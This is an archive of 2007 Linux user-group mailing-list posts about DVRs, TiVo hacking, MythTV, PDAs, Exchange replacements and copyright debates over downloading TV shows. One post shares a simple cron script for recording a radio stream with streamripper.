On Jul 13, 2007, at 8:59 AM, Dan Jenkins wrote: Travis Roy wrote: Don't be a troll. ;-) Uhh, have you ever met Ben in person? (sorry, I couldn't help it So... Come to the BBQ. Bring Food. Feed the Troll. :-D I've seen Ben eat, no thanks. (sorry, I neither could I help it. And I haven't even physically met him yet. Apologies to Ben, but the setup seemed too good to pass up.) BBQ - http://wiki.gnhlug.org/twiki2/bin/view/Www/SummerBBQ2007 -- Dan Jenkins ([EMAIL PROTECTED]) Rastech Inc., Bedford, NH, USA --- 1-603-206-9951 *** Technical Support Excellence for over a Quarter Century ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Stupid UDP NAT argument (was: OpenVPN TCP vs UDP)
Don't be a troll. ;-) Uhh, have you ever met Ben in person? (sorry, I couldn't help it) ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Petition against OOXML
I think online petitions are overrated as a tool for grassroots movement- first and foremost, because they can't be trusted due to the ease of astroturfing. Microsoft could easily build a petition and have millions of its happy customers sign it- a short macro running on their WGA database would do the trick. I agree, Snopes actually has a good writeup about online petitions. http://www.snopes.com/inboxer/petition/internet.asp ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: The cent key
On Jul 8, 2007, at 11:36 AM, Jason Stephenson wrote: [EMAIL PROTECTED] wrote: Now you have my $.02. (Why isn't there a cent key on the IMB keyboard??) The spot where most typewriters (even those from IBM) have the cent key is taken up by ^ on most computer keyboards. Interestingly, the cent character is not a part of the basic ASCII character set. A bit surprising, really, when you consider that until email came along the @ was relegated to mostly archaic uses as a short hand for each. Just my 2d. On my mac I can hold option $ Just my 2¢ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: [gnhlug-jobs] [NH Jobs List] Job: Network/Database Administrator - Manchester
If you are interested, please e-mail me a formal resume attached to a Word Document and then we can set up a time to speak. If you know Is this a joke? Is this solicitation meant seriously? By Word Document they usually mean something I can open in Word, that's formatted, and I can run my macros on to pull out key items. Whenever I sent out resumes I would send them out as RTFs and they never knew the difference. You have to remember that you're most likely getting these kind of emails from HR/Recruiters that know very little, if at all, about tech stuff. They also tend to mess around with whatever they're given from a manager/director and throw in all kinds of buzz words. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: [gnhlug-jobs] [NH Jobs List] Job: Network/Database Administrator - Manchester
On Jun 29, 2007, at 2:25 PM, Paul Lussier wrote: Lori Nagel [EMAIL PROTECTED] writes: Free software is for everyone, not just nerds and geeks. If someone can use Word, they can use free replacements such as OpenOffice.org. For companies, it does not make sense to spend money on proprietary software, especially when free replacements are already available. This is your particular opinion. However, many people use computers to get a job done, and they have spent 15 or 20 *years* learning a particular environment. It makes even *less* sense for them to throw out that 15 or 20 years of experience using specific applications and environments just because they may save a $100 or $200 dollars by switching to a different application. If that's the case then they wouldn't want to upgrade Office. The last three version have changed quite a bit. I would say the difference between Office 2000 and Office 2007 are much more dramatic than switching to OpenOffice for example. You don't have like it, agree with it, or condone it. But you do have to accept that it is *their* choice, and being snarky towards them is certainly not going to win them over to the more enlightened side. True, but I still stand by what I said (even more so after confirming that the job posting was done by a recruiting firm) that the job posting was put together by a goof that knows nothing about technology and if you sent them a RTF they wouldn't know the difference. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: [gnhlug-jobs] [NH Jobs List] Job: Network/Database Administrator - Manchester
Why does their ignorance of file formats constiture them as being a goof? Can you explain the difference between the EFA and the MSCI EAFE ? If not, does that make you a goof? Just because someone is ignorant of something is not a license to deride them or call them names. Please think about the message that sends about you and it's reflection upon this group? I was speaking of my experience of recruiters I've dealt with, both looking for, and applying for jobs. They tend to have no idea what they're doing and throw as many people at as many jobs as possible. These people, in my opinion, are goofs. You talk to them about how you're a Linux/Unix admin and after the 4th call about a MSCE job, and after explaining AGAIN that you do not want a job that's mostly MS, and that you don't have a MSCE your opinion of these people that are suppose to be helping you goes down. I can not explain the difference between EFA ad MSCI EAFE I do not sell, promote, or try to acquire any product or service that uses those. If I did, I would at least spend a little bit of time finding that out. If I'm a recruiter or an HR person and somebody came to me with a job rec I would at least talk to the person looking for the job/ employee and get a feel for what's going on. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Stupid server semantic argument (was: Non Linux but network tech question)
I'm not a big fan of Comcast's no servers policy either, but I do understand it. Even if someone thinks Comcast is the Great Satan, Know thy enemy would seem to be a good strategy. Setting up straw-man arguments about how FTP listens for connections, so it's a server too, and they allow that is just bogus. That's not what they mean, and just about everybody understands that. Comcast does not want people providing content and services on their feeds. They don't want to build their network to support it, they don't want the tech support burden, and they don't want the legal complications. Comcast wants people sucking down mass content like good little drones. Preferably broadcast and pay-per-view (best profit margin). It's that frelling simple. The direction of the TCP SYN packets is irrelevant. Stop fighting the wrong battle. The original post was about a local library. I know when I was working at the local public access channel in Goffstown the cable committee for the town had an agreement with (then) MediaOne to offer higher speed access (than a normal customer) to the schools, the town hall, and the library. There was also other provisions with regard to access and feeds back to the TV Station for live broadcast. That may be something the original poster might want to check into. Even if they do give it the okay as an exception it may be easier for the original poster to do some kind of port work around so that Comcast doesn't have to make some weird exception for one modem on the node. Truth is that there are exceptions to every rule (and every AUP). Some people may have different ones that what you care to assume. There also might be other legit reasons that somebody might be asking about this work around. While I can kind of agree with Ben when it came to the whole torrent debate with downloading TV shows are movies, this is totally different as each AUP is different between companies, and indeed between towns, since an individual town/city creates their own contract with the cable company that may have exceptions to the broad AUP in place for most people. Comcast can enforce their own AUP, they don't need you doing it for them. -- Ben ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Linux Exchange server replacement.
I installed and tested Zimbra.. It didn't have support for a few things we needed at the time (like truly shared calendars). It's my understanding that this has been corrected in the recent versions. They have a free demo you can test out. The web interface is very impressive. On Jun 14, 2007, at 5:25 PM, [EMAIL PROTECTED] wrote: The two that I know of off the top of my head are: Scalix http://www.scalix.com Zimbra http://www.zimbra.com Both have their caveates. HTH, Kenny -- Original message -- From: Steven W. Orr [EMAIL PROTECTED] Sorry to dredge it all up, but there was a discussion some time back about an app that was supposed to be a drop in replacement for ES including all of the calendaring crap. Does anyone remember what that was? TIA -- Time flies like the wind. Fruit flies like a banana. Stranger things have .0. happened but none stranger than this. Does your driver's license say Organ ..0 Donor?Black holes are where God divided by zero. Listen to me! We are all- 000 individuals! What if this weren't a hypothetical question? steveo at syslang.net ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OT: TV delivery alternatives
Why not make the show downloadable for free but sell advertising and put the commercials in the show. Sure, they can be ellided, but seriously, who's going to bother? Yah, because writing a program to run the content through and auto- delete the commercials is so much harder than cracking CSS, or doing all the other things that have been done to get around copy protection? So who's going to bother? LOTS of people if I had to guess, and those people will make it easier and easier to do it. Getting DVDs to play in linux was a huge pain.. Now it can be done with no effort.. You're not suppose to be able to backup or copy DVDs, but now I can run Handbrake and have an avi of the main movie in an hour or so. If you make the commercial non-skippable I'm sure somebody will find a way to rip it from the web (or whatever software is required to watch it) convert it to a normal video format without commercials and tons of people will download it from torrent sights.. Just like now. People want stuff for free.. There's enough of these people to make getting around it worth it. Some people are cheap, some people think they're sticking it to the man. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: WICKED OT: TV delivery alternatives
OMG, Ben! http://smartflix.com/store/video/300/How-To-Construct-Mines How to blow yourself up in one simply instructional video! :-) Is having a link showing you how to get something that describes how to make a mine better or worse than sending a URL on where to get torrent files? /me ducks ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OT: DirecTivo vs. 'New Direct TV DVR'?
That said when I called DirecTV to get HD channels (old TV wasn't HD) I was informed that DirecTV no longer has an agreement with TiVo and no longer offers DirecTivo. DirecTiVo is a combo box that combines all of the features of DirecTV with TiVo in one box. The UI rocks. That is correct, the DirecTV/TiVo agreement is gone. They will eventually be phasing out support for all current TiVo units. Originally I heard this year, but it got pushed back. Apparently DirecTV is moving from MPEG-2 to MPEG-4 or something and the HD DirecTiVo DVR that I purchased just a few years ago isn't compatible with the new MPEG-4 compression or something... That is correct, they switched from MPEG2 to MPEG4 for local HD channels. The HD DirecTiVo can only get premium channels in HD. Has anyone on the list gone through this switch? Anyone using the DirecTV DVR? Any feedback on the system? I have not personally, but I've seen the DirecTV DVR, it's really not that bad. I think it's worlds better than the Comcast DVR. Anyone know if I'm getting ripped off? Should I really be paying for a new DVR when my old DVR is only 2 years old? If you want locals in HD, you really don't have a choice. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OT: DirecTivo vs. 'New Direct TV DVR'?
I don't know about the DirecTiVos but the regular TiVos don't do HD. Only the S3 which uses a CableCARD. I'm not sure it will work with DirecTV. The HD DirecTiVo (can probably find on ebay) will do HD, but only for premium channels, and they will be phased out eventually. S3 will probably work with DirecTV with an IR blaster, but you won't get HD. Similar to the older SA TiVos I have 2 series 2 TiVos and love the interface too. But my next DVR will be MythTV. There's lots of advantages to Myth that you're not going to get with a builtin DVR or TiVo. In addition it will be portable to Satellite, Cable, FiOS or Antenna. Except you can't get premium content in HD with a MythTV box, unless you can get the firewire cablebox thing working. Also if you're in kind of a crappy area you won't even be able to get HD OTA due to reception problems. If you use it with Sat or a cablebox (be it cable or FIOS) you'll have to do either serial control or an IR blaster. Keep the DirecTiVo in any event. There are people hacking the DirecTiVo. It might be that someone has gotten it to be stand alone. At the least, there is eBay to sell it. I know there's something that allows Tivo2go to work with DirecTiVo. the DirecTiVo can only work with DirecTV due to the way it works. It just captures the sat feed and you play it back. This is why there's no quality settings. It can never be a SA TiVo. Also, from my understanding, unless it's hacked DirecTV can turn on or off the DVR function of the DirecTiVos, so it will become a normal receiver at some point. To get TiVo2Go to work with DirecTV you need to have a specific DirecTiVo box, and you have to hack it. When you do this you lose PPV purchases from the remote since you turn off the function of it to call home and perform upgrades and that's how DirecTV gets your PPV purchasing information. You're actually better off just hacking it and using TyTools to extract shows since that lets you transcode and you have more options with the show than TiVo2Go gives you. Another option might be Apple TV AppleTV has no recording functionality at all so I don't think it's the same type of device. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: OT: DirecTivo vs. 'New Direct TV DVR'?
Anyone know if I'm getting ripped off? Should I really be paying for a new DVR when my old DVR is only 2 years old? I think the resounding answer will be yes, you're getting ripped off, but unfortunately, what can you do. When they started migrating, they'd already terminated the business deal with Tivo. :-( Yah, that's really it.. What are your choices? Continue to get only a few HD channels for who knows how long then be forced to upgrade (probably without the discount) or switch to another provider of TV, all that are either more of a pain, cost more, suck worse, or some/ all of the above. I noticed that my DirecTV subscription went up $4/month. I have the middle package and two premium channels with locals and one DVR receiver (a hacked series 2 DirecTiVo). But it's still cheaper than cable and overall I'm happy with the service. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
TV Alternative (Was: Re: OT: TV delivery alternatives (was: DirecTivo vs. 'New Direct TV DVR'?))
I'm seriously considering dropping my cable TV service and just using NetFlix or the Internet for everything. I was checking recently, and most of what I watch on TV now is available via NetFlix. There are benefits, too: No commercials to skip. No scenes/frames being deleted to squeeze in more programming. No silly censorship. Well you're probably still going to get the silly censorship since the show you get from Netflix is probably going to be the same as what they showed over the air. I know Family Guy is an exception to this, putting some cut scenes back in, but that's usually not the case for most shows. Also, depending on the show, and your timeframe of wanting it, the legality of getting it is questionable. If it's something that's on almost daily (say The Colbert Report for example) you're going to end up paying the iTMS close to what you pay for your entire cable bill for one show. Internet distribution (the legal kind) is becoming more and more viable all the time. It's not there yet, but I'm watching closely (no pun intended). Could you share some of your sources? Most of the stuff I've found is either not cost effective or horrible quality. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Linux on TikiBarTV
Go check out the latest TikiBarTV (www.tikibartv.com), linux and specifically ubuntu is mentioned in the Tiki Mail segment. Enjoy ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: NYT/Pogue: The Trouble With Home Networking
Geek Squad has to make money somehow. On Apr 17, 2007, at 9:24 AM, Kevin D. Clark wrote: This is a good read: http://pogue.blogs.nytimes.com/2007/04/12/the-trouble-with-home- networking/ --kevin ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: SPDIF support
I agree with Brian, but I will add that I find coax SPDIF out easier to deal with than optical. If only for cheaper cable (it uses RCA cables), and the fact that you can twist them and tie them up just about any way. On Apr 6, 2007, at 12:05 PM, brk wrote: For general 2-channel listening it's not worth it, IMO. If you're doing 6 or more channel (ie: surround sound) then it's worth it, if for no other reason than the simplicity of 1 cable vs. 6+. On Apr 6, 2007, at 11:52 AM, Cole Tuininga wrote: Also, I'd welcome any discussion as to whether SPDIF is even worth it in the first place. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Dowloading of podcasts etc. - anyone have a HOWTO?
I use streamripper with a cron script to record Dr. Dean Edell from the KGO website.. Below the script, then I use dircaster (http://www.dircaster.org/) to create the rss feed. #!/bin/bash ## Remove old audio rm -rf /home/travis/public_html/radio//Dr_Dean_Edell/KGO\ Newstalk\ 810\,\ san\ Francisco/incomplete/*.mp3 ## Start recording stream /usr/bin/streamripper http://abcrad.ic.llnwd.net/stream/ abcrad_kgo_kgo -d /home/travis/public_html/radio/Dr_Dean_Edell/ ## wait 55 Minutes sleep 55m ## Kill stream kill $! ## Rename and move file mv /home/travis/public_html/radio/Dr_Dean_Edell/KGO\ Newstalk\ 810\,\ san\ Francisco//incomplete/\ -\ .mp3 /home/travis/public_html/radio /Dr_Dean_Edell/$(date +%Y-%m-%d)_-_Dr_Dean_Edell.mp3 ## Remove old tag /usr/bin/id3 -d /home/travis/public_html/radio/Dr_Dean_Edell/$(date +% Y-%m-%d)_-_Dr_Dean_Edell.mp3 ## Add new tag /usr/bin/id3 -a KGO -A Dr Dean Edell -t $(date +%Y-%m-%d) /home/ travis/public_html/radio/Dr_Dean_Edell/$(date +%Y-%m-%d)_- _Dr_Dean_Edell.mp3 On Apr 3, 2007, at 7:29 PM, Bill Sconce wrote: I hope this doesn't mean I'm becoming a podPerson, but... Does anyone have a pointer to a HOWTO for, or know how to, download Web files offered for streaming so that they can be staged for ripping to e.g. a portable player? (I've looked on TDLP, searched the HOWTOs list, even read Eric Raymond's stuff.) No joy. podPerson'ly yrs, Bill The goal restated: HOWTO download audio file(s) and/or video file(s), *not* for watching as streams in a browser, but for processing/staging onto e.g. USB flash devices? (A good LUG program, hint, hint?) Background: __ Encouraged by certain other contributors to this list, I've begun to enliven my hours on the road with interviews and other programs downloaded from the Web. An interview with Guido, for instance, and the one with maddog on FLOSS Weekly which was discussed here recently(*). Some of the programs (e.g., FLOSS Weekly) are advertised with an explicit URL (Download MP3 file), which makes it easy to wget them directly. Some other programs (e.g., NPR) are advertised with a URL which downloads a piece of text (a .ram file) whose contents are a URL (such as http://archives.wamu.org/dr/07/04/r1070403.rm;) which, again, is easy to wget(**). But still other programs are advertised with still other streaming mechanisms. (I don't want streaming. I'm not interested in listening/watching in a browser. I want to download, rip to Ogg, and listen from a USB drive in the car.) For instance, today's exercise happened to be a hearing on voting system standards. which advertises Click here for the archived Committee event webcast.[link1] You will need the free Real Player[link2] to view this webcast. [link1] reads http://boss.streamos.com/real/science/sci06/071906.smi which can be fetched by wget, but inside is what looks like HTML (which I presume contains instructions for Real's BLOB to display the webcast in a browser). *grumble* It's OUR House of Representatives, the webcast contains public information. (We *are* allowed to download the transcript of this hearing as a PDF, but I can't drive, use the cellphone, and read a PDF all at the same time... :) (*) maddog's interview: easy to download, but MP3 :( (They *used* to make Ogg available as well.) (**) .rm easy to wget: converting it to Ogg is NOT easy! It took me three days to download the necessary pieces and Google for the command-line steps to rip to .wav and thence to .ogg. *whew* ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
OT-LEGAL: DVD ripping/copying
Thought this story might be of interest given the recent talks on the list http://www.cepro.com/news/editorial/18137.html Manufacturers, dealers, and champions of digital rights everywhere can rejoice: Video server maker Kaleidescape has beaten the DVD Copy Control Association (DVD CCA). But keep this part in mind: Because of this ruling, the Judge did not have to get into copyright issues, so the Kaleidescape ruling has no copyright implications. It is not a statement on the legality of ripping DVDs. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: LinuxMCE install
After reboot, asked me a few questions about video and sound. Answered. Just curious.. Does it ask about using a PVR-350 out? That's how my MythTV box is setup, and due to my current hardware and TV setup in the house, requires that. It would be nice if that just works like it did with KnoppMyth ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: LinuxMCE install
I suspect I chose something wrong, but I can say this much. It isn't happy. :-D What about logs? Oh, right, you can figure out how to get at those. See above :) This can't be hard, it's Linux on commodity hardware that you have both direct access, control, and ownership of :) Shouldn't be. But LinuxMCE pretty much takes control of your entire install, and changes 'everything' to it's own view of the world. Interesting enough, does anybody know what the license is for LinuxMCE. Doing a wiki search on their page for GPL turned up nothing. The link on the wiki about the license information goes to a dead page (but in that part it says it's open source). I find that a bit odd. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Why we can't record our TV shows (was: In case you have not seen it.....Linux Media Center)
As a TiVo owner and former DirecTV subscriber, I couldn't figure out why people would get a DirecTiVo instead of a stand alone. Dual tuner, and prefect quality all the time. Even if you have a stand alone tivo and you set it for the highest quality there will be some loss. They're still easy to hack. I have my DirecTiVo, upgraded the HD and I pull off shows with TyTools (to watch, convert, or burn) and have TiVoWeb. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Why we can't record our TV shows (was: In case you have not seen it.....Linux Media Center)
I download each and every show I wish to watch (and I want for nothing I can't get), getting not only high quality recordings, but with commercials already removed. Finding new shows is trivial (thanks to many diverse sites devoted to tracking the shows), and with thousands of others doing the same, the bittorrents are reasonably fast, and I usually can expect to have a show well within 24 hours of it's broadcast. I'm transition to this solution, but the legality of it is debatable. I'm still trying to figure out a good working solution to automatically download the shows I like without getting dupes or incorrect versions (like a french version for example). I also can't get a few shows I enjoy. Such as This Old House, Gardening By The Yard, and a few others. I have come across a friend with a hacked DirecTiVo that will pull the shows for me, but I'm still losing out on one HBO show I enjoy. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Why we can't record our TV shows (was: In case you have not seen it.....Linux Media Center)
I'm curious...is there a model in which you'd consider paying for content? The model could have reasonable prices and fair/non-existent copy-protection or whatever else you'd like. If it's stuff that I can get OTA with an antenna (If I didn't live in the sticks), then no, I wouldn't pay for it. I'd setup myth to record it and auto strip the commercials. So for me there's no difference between this and downloading the torrent. As far as pay channels (being cable and premium channels). I would only pay for episodes if they came in the same quality as if I bought the DVD box set or greater, and/or I got a coupon/voucher for the DVD box set when it came out. Then I would pay around $30/season or $2/ episode. Please tell us if you'd ever consider paying for this content and, if so, under what circumstances. Regards, --kevin -- GnuPG ID: B280F24E Never could stand that dog. alumni.unh.edu!kdc -- Tom Waits ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/ ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Why we can't record our TV shows
On Mar 26, 2007, at 1:08 PM, Paul Lussier wrote: Travis Roy [EMAIL PROTECTED] writes: I'm curious...is there a model in which you'd consider paying for content? The model could have reasonable prices and fair/non- existent copy-protection or whatever else you'd like. If it's stuff that I can get OTA with an antenna (If I didn't live in the sticks), then no, I wouldn't pay for it. I'd setup myth to record it and auto strip the commercials. So for me there's no difference between this and downloading the torrent. Except that by partaking in a Bit-Torrent cloud you are unethically and illegally re-distributing the content which violates copyright, and is something that does not fall under fair-use. Therefore, there is a difference (legally-speaking) with respect to bit-torrent and MythTV. In the latter case, you are in fact time-shifting an OTA broadcast show which falls under the fair-use doctrine. In the former you violate the content owner's exclusive right to control distribution. I'm not saying I agree with this, just pointing out the differences :) So noted.. I was just saying. Penn Jillette said on his radio show that he didn't see, or had a problem with, people downloading his TV Show (Bullshit) if they are subscribers to Showtime already. His reasoning is that they already paid for the content. But, he's not the copyright holder, Showtime is. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Copyright Issues (Was: Re: Why we can't record our TV shows (was: In case you have not seen it.....Linux Media Center))
I don't recall the giving it to a friend portion of the decision, and the slippery slope of two friends, four friends, putting it on the web site, popping it up on BitTorrent likely crosses the line, somewhere. I agree with this.. Even when people were saying making mix tapes for friends was legal back in the old Napster days.. But I don't think standing in front of the local grocery store and handing out copies of CDs to everybody that walks by as giving a friend a copy, that's distribution Let's focus our discussions on Linux and Free/Open Source Software and not on proprietary multimedia. There are plenty of other forums for that. To be fair, I do think copyright issues are something that is up for discussion. After all, it does effect Free/Open Source Software quite a bit. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Why we can't record our TV shows (was: In case you have not seen it.....Linux Media Center)
Rather scary how a mere discussion of the legalities elicts such a furor, another chilling effect illustrated... when you can't discuss the issues (and use illustrations such as links of the sort of things that are under fire), what's left but to cave in and give up? Now the question is, if Ben goes and edits the archives to remove the link.. Is that destruction of evidence? H.. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Copyright Issues (Was: Re: Why we can't record our TV shows
Expressions of your opinion on the DMCA, the Sonny Bono Copyright Act, your interpretation of Sony/Betamax and so forth are political and just lead to a lot of wasted air, imo. If you want to express those opinions, and I do regularly, I aim at my congresspeople and at funding the organizations (EFF, ACLU, etc.) that advocate for my point of view. Or over a beer at Martha's. But here, such discussions are divisive, rarely if ever change any minds, and make the forum a more hostile place to hang out on. Let's leave those topics OFF-TOPIC, where they belong. I think DMCA is fair game. It directly effects many aspects of linux and linux software. Including, but not limited to, Xine, MythTV, LinuxMCE, and others. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Handhelds/PDAs - Palm vs Zaurus vs others - Opinions? Experiences?
That's not all I'm getting at (though it is part of it). I object to the whole attitude wireless carriers have. They want everything locked in to them, owned by them, controlled by them. Ideally, they want to charge me every time I press a button, take a picture, or think. It's Microsoft all over again, but with annoying ring tones. I don't care if you can sometimes find a solution that doesn't automatically stab you in the eye. I want no part of it. I vote with my wallet. Okay, then what cell phone carrier are you currently using that doesn't do that? The actual phone you're using really doesn't matter if you are still giving them money for phone service. Having a regular phone, or a PDA phone matters zero if you're trying to make a point. Get something that uses a SIM card. Neat in theory. Not so good given all the mutually incompatible networks out there. For example, the phone I have from work is Nextel. Swapping SIMs between Nextel *models* doesn't even always work. I know people with cingular and/or t-mobile phones and swapping sim cards between their phones and networks works fine across all phones they've tried. Nextel is a fairly proprietary network, both for hardware and frequencies used. It's hard to use you're specific example across more broadly compatible phones. Its also possible to buy unlocked phones online that do not have bastardized carrier specific firmware. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Handhelds/PDAs - Palm vs Zaurus vs others - Opinions? Experiences?
So, I'm thinking about getting a new handheld computer (AKA PDA), before the one I have now finishes crumbling into dust. (For purposes of this discussion, let's assume my handheld and my mobile phone will be two different devices.) I'd like to hear people's opinions and experiences on brands, models, etc. I've had a zaurus (SL-5500) and currently have a Treo (650). I would seriously consider combining the two devices. I find it very helpful. I'm especially interested in the Sharp Zaurus. I understand that, while it's nominally not sold in the US, it's pretty easy to find vendors importing it, and that the manufacturer support picture is pretty good (for the immediate future, anyway). For what you get it's probably going to be costly compared to other alternatives in the market. If anything just for the extra cost of importing the device and probably re-installing it with a more US Centric version of the OS. One thing I want from a handheld is that it has to be a good PIM first -- good calendar, contact, task list, and notepad functionality. Not Emacs, but something easily usable with one hand while I've got my head stuck inside a computer cabinet. This is one thing the Palm always did *very* well. What about the Zaurus? The sliding keyboard I had on mine was neat, but not really easy to use. I find the keyboard on my Treo easier to type on with one hand. This was mostly due to the fact that it was hard to handle with the keyboard exposed and making it awkwardly long. I found the actual PIM software to be lacking quite a bit. My handwriting sucks. I've managed to train myself to Graffiti, but that's about it. If all the Zauruses... Zauri... Zaurus models have built-in keyboards, I guess that's moot. Right? There is software for the Zaurus to let you write on it just like a palm, so you have a choice there. But if you get a Palm device with a keyboard you also get this. The Zaurus runs Linux, which is uber-cool, especially for more sophisticated things. Can anyone comment on how Linux software translates to the Zaurus platform? Is it just a recompile, or is it mostly incompatible? Does it use X for graphics, or something else? You can get X for the Zaurus, but its not very usable. Most use OPIE and Qtopia for the graphical interface. They are both Palm like in look and feel. I had a bunch of normal linux software, but nothing crazy. The coolest thing I ran was probably ScummVM, that worked great with the touch screen. But I ran Konqurer for a web browser, AIM for IM (I had a wifi card for it). Another thing I would do is mount my windows box to get my MP3s. Then I'd have a little wireless MP3 player with access to anything on my desktop (virtually unlimited space since I can just keep adding on to the desktop). Also, the stock OS lacked a lot (I felt), but was fairly stable (at least as stable as Palm devices of the time). OpenZaurus was much better for software and usability, but would have crashes way to often. What about sync'ing with a desktop Linux PC? I ass-ume, since it runs Linux, that basic interoperability is a no-brainer. Is there anything like jpilot for the Zaurus? I never got mine to sync to my satisfaction due to the crappy PIM apps that came with it. The calendar was HORRIBLE. Any other handhelds people like these days? In all honesty the Zaurus was a neat toy, more like a mini laptop than a PDA. I would probably rather have an OQO to do what I did with a Zaurus. I like my Treo better, it's much faster, plays video and audio better, and there seems to be more useful PIM apps for it. The only thing I wish it did better is IM, but that's minor, but having Gaim was neat for the Zaurus. ___ gnhlug-discuss mailing list gnhlug-discuss@mail.gnhlug.org http://mail.gnhlug.org/mailman/listinfo/gnhlug-discuss/
Re: Handhelds/PDAs - Palm vs Zaurus vs others - Opinions? Experiences?
~sigh~ Yes, yes. That's the way it would be, in an ideal world. But wireless carriers universally see any cell phone, and all the data on it, as *their* property. They don't sell you a phone, they let you use their phone, maybe, for a little while, so long as you keep up on your protection payments. My thoughts on that policy are best not uttered aloud, for fear of waking the elder gods. Well, this is just tinfoil hat logic. Before my current Blackberry, I had the same phone as travis, Treo 650. My Treo sits here in the drawer next to me, still 100% functional (other than the fact it can't make a phone call). I can still use it as a PDA, I can still sync with my MBP, and so on. Yah, for a Verizon phone, the Treos are fairly open. The very few locked options (using the treo as a bluetooth modem for example) are very easy to unlock. It's not like their other phones that are totally crippled. Although you don't want to hear it, I too prefer 1 single device. I don't want to walk around with this geek belt of crap on my waist. Ditto, I don't need to pretend I'm batman with his utility belt, or something adding weight to my belt and pull down my pants (thus eliminating the whole reason for having a belt) I've looked a lot at the Zarus models, they suck (IMO). It's nice that they run linux and have the potential for all this uber-cool extended functionality. But all I want/need in a PIM is the basic functions done well and reliably. I like my Blackberry a little better than the Treo, but either option is (IMO) the best choice out there. I also don't want to have to switch PDAs just because I switched wireless carriers. Get something that uses a SIM card. ___ gnhlug-discuss mailing list 